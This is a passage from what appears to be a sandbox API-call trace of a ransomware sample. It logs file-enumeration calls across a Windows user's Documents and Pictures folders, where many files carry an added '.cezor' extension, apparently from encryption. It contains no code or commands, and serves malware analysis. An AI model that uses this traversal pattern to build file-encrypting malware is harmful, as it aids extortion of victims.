lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd14f1010, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xed0a5370, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x1450f8b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x56d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3lDgGO6UTyrOsMHE.mp3.cezor", cAlternateFileName="3LDGGO~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42861c80, ftCreationTime.dwHighDateTime=0x1d4d030, ftLastAccessTime.dwLowDateTime=0x3982c970, ftLastAccessTime.dwHighDateTime=0x1d4d58b, ftLastWriteTime.dwLowDateTime=0x14535a10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5V1FT5g1rxSJJ41de.m4a.cezor", cAlternateFileName="5V1FT5~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7767c00, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x80224220, ftLastAccessTime.dwHighDateTime=0x1d4d25c, ftLastWriteTime.dwLowDateTime=0x1455bb70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x106a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7HJiH UDq9SzzeN5I.m4a.cezor", cAlternateFileName="7HJIHU~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f527c90, ftCreationTime.dwHighDateTime=0x1d4cd33, ftLastAccessTime.dwLowDateTime=0x2f5e7490, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0x1455bb70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12ad5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ywMFiXrJ1mJNTYk.wav.cezor", cAlternateFileName="8YWMFI~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x14dd69d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14dd69d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bAXbPKiwKvGBE_6IlyS", cAlternateFileName="BAXBPK~1")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc2c61a0, ftCreationTime.dwHighDateTime=0x1d4c5ff, ftLastAccessTime.dwLowDateTime=0x6c755760, ftLastAccessTime.dwHighDateTime=0x1d4c65b, ftLastWriteTime.dwLowDateTime=0x14581cd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x35e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fnpi8zzFvSVq9mHNij76.wav.cezor", cAlternateFileName="FNPI8Z~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63ff3d0, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0x8fc57a30, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x14581cd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HX-X27lPA60A4.m4a.cezor", cAlternateFileName="HX-X27~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28b5530, ftCreationTime.dwHighDateTime=0x1d4d17f, ftLastAccessTime.dwLowDateTime=0xdf384110, ftLastAccessTime.dwHighDateTime=0x1d4c631, ftLastWriteTime.dwLowDateTime=0x145a7e30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i0vpbCxKUDj27FIiTrf.wav.cezor", cAlternateFileName="I0VPBC~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35c1b70, ftCreationTime.dwHighDateTime=0x1d4c7a9, ftLastAccessTime.dwLowDateTime=0xdbbf43f0, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0x145a7e30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x45da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KbAGa_jf9A0p1.mp3.cezor", cAlternateFileName="KBAGA_~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f22d30, ftCreationTime.dwHighDateTime=0x1d4c85b, ftLastAccessTime.dwLowDateTime=0xa5e0b9d0, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0x145cdf90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7402, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LgZcOmajdnsesY.m4a.cezor", cAlternateFileName="LGZCOM~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc6bb90, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xc300d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0x145cdf90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15c29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nexJic6.wav.cezor", cAlternateFileName="NEXJIC~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac75b60, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0xd249dc90, ftLastAccessTime.dwHighDateTime=0x1d4d45d, ftLastWriteTime.dwLowDateTime=0x145f40f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xe76e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NN082DlMLC6MxmlQyS42.wav.cezor", cAlternateFileName="NN082D~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x533c6180, ftCreationTime.dwHighDateTime=0x1d4cd54, ftLastAccessTime.dwLowDateTime=0x8c92cc00, ftLastAccessTime.dwHighDateTime=0x1d4d342, ftLastWriteTime.dwLowDateTime=0x145f40f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17a2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tbTKJ0ZxbS6wZlGEphR.wav.cezor", cAlternateFileName="TBTKJ0~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847323a0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x1a1bc660, ftLastAccessTime.dwHighDateTime=0x1d4cdf0, ftLastWriteTime.dwLowDateTime=0x1461a250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xcc85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ucbmmg-N-J.wav.cezor", cAlternateFileName="UCBMMG~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af2cf80, ftCreationTime.dwHighDateTime=0x1d4c5b9, ftLastAccessTime.dwLowDateTime=0x85650ee0, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0x146403b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xf84e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wAomAj1M-1.mp3.cezor", cAlternateFileName="WAOMAJ~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa8acb0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x4e373950, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x146403b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wEWdm1lt.wav.cezor", cAlternateFileName="WEWDM1~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e1530, ftCreationTime.dwHighDateTime=0x1d4cccb, ftLastAccessTime.dwLowDateTime=0xb1859c90, ftLastAccessTime.dwHighDateTime=0x1d4c5f5, ftLastWriteTime.dwLowDateTime=0x14666510, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x8aa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wHquroq M2bDSunIrjJ.wav.cezor", cAlternateFileName="WHQURO~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2909b5b0, ftCreationTime.dwHighDateTime=0x1d4c9db, ftLastAccessTime.dwLowDateTime=0x66ee0000, ftLastAccessTime.dwHighDateTime=0x1d4cd48, ftLastWriteTime.dwLowDateTime=0x14666510, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x10323, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XQtttNc8l WMW7IPg.m4a.cezor", cAlternateFileName="XQTTTN~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dbe0c20, ftCreationTime.dwHighDateTime=0x1d4d2d3, ftLastAccessTime.dwLowDateTime=0xb5710520, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x53f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_9l8.wav.cezor", cAlternateFileName="_9L8WA~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 1 [0122.378] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 0 [0122.379] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.379] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0122.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.379] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.379] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.379] PathFindFileNameW (pszPath="") returned="" [0122.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 0xffffffff [0122.379] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0122.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.379] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.379] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.379] PathFindFileNameW (pszPath="") returned="" [0122.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 0xffffffff [0122.379] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0122.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.380] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.380] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.380] PathFindFileNameW (pszPath="") returned="" [0122.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14797010, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14797010, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ad50, ftCreationTime.dwHighDateTime=0x1d4d55c, ftLastAccessTime.dwLowDateTime=0x9730dc30, ftLastAccessTime.dwHighDateTime=0x1d4cada, ftLastWriteTime.dwLowDateTime=0x146b27d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xfc7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-W0-.gif.cezor", cAlternateFileName="-W0-GI~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x14ee1370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ee1370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1oLW", cAlternateFileName="")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93151100, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0xde95e180, ftLastAccessTime.dwHighDateTime=0x1d4d361, ftLastWriteTime.dwLowDateTime=0x146d8930, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x134c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aor58F2ltwiS2qWZJE.bmp.cezor", cAlternateFileName="AOR58F~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f560020, ftCreationTime.dwHighDateTime=0x1d4c908, ftLastAccessTime.dwLowDateTime=0x2eff1bf0, ftLastAccessTime.dwHighDateTime=0x1d4cc14, ftLastWriteTime.dwLowDateTime=0x146d8930, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xacc9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDQ3v_tHbiNjViuE.jpg.cezor", cAlternateFileName="FDQ3V_~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a93880, ftCreationTime.dwHighDateTime=0x1d4cd1d, ftLastAccessTime.dwLowDateTime=0x34cd7df0, ftLastAccessTime.dwHighDateTime=0x1d4d0d9, ftLastWriteTime.dwLowDateTime=0x146fea90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xfe54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiUvM1waNbZk-e.bmp.cezor", cAlternateFileName="HIUVM1~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd168000, ftCreationTime.dwHighDateTime=0x1d4d072, ftLastAccessTime.dwLowDateTime=0x87d3c7e0, ftLastAccessTime.dwHighDateTime=0x1d4c97f, ftLastWriteTime.dwLowDateTime=0x146fea90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x48d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jMNoGbN.gif.cezor", cAlternateFileName="JMNOGB~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe26c240, ftCreationTime.dwHighDateTime=0x1d4c6ad, ftLastAccessTime.dwLowDateTime=0xa815b150, ftLastAccessTime.dwHighDateTime=0x1d4d32d, ftLastWriteTime.dwLowDateTime=0x146fea90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x115d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L4Lb_VKCFG5Baj3.gif.cezor", cAlternateFileName="L4LB_V~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62df8740, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0xabac5ce0, ftLastAccessTime.dwHighDateTime=0x1d4d33e, ftLastWriteTime.dwLowDateTime=0x14724bf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x90cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCZaDa0QQJ6wcNZUXn.gif.cezor", cAlternateFileName="MCZADA~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5b1830, ftCreationTime.dwHighDateTime=0x1d4ca04, ftLastAccessTime.dwLowDateTime=0xa872220, ftLastAccessTime.dwHighDateTime=0x1d4d189, ftLastWriteTime.dwLowDateTime=0x14724bf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16c0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MkdmiW2n2hm UFrse-.bmp.cezor", cAlternateFileName="MKDMIW~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe70670, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x48211160, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x1474ad50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFMo70Ypi.jpg.cezor", cAlternateFileName="OFMO70~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5eda20, ftCreationTime.dwHighDateTime=0x1d4d0a0, ftLastAccessTime.dwLowDateTime=0x6a738f60, ftLastAccessTime.dwHighDateTime=0x1d4d4be, ftLastWriteTime.dwLowDateTime=0x14770eb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QoXfvFeQOhQIV.png.cezor", cAlternateFileName="QOXFVF~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91af5900, ftCreationTime.dwHighDateTime=0x1d4c9f7, ftLastAccessTime.dwLowDateTime=0xfaf33db0, ftLastAccessTime.dwHighDateTime=0x1d4d40f, ftLastWriteTime.dwLowDateTime=0x14770eb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x67be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4GQ2GGMfzy1DKUl.png.cezor", cAlternateFileName="S4GQ2G~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc970f2d0, ftCreationTime.dwHighDateTime=0x1d4d0ce, ftLastAccessTime.dwLowDateTime=0xa8b02110, ftLastAccessTime.dwHighDateTime=0x1d4d1c3, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VyatE0vXWAqC0OxRt_.jpg.cezor", cAlternateFileName="VYATE0~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, 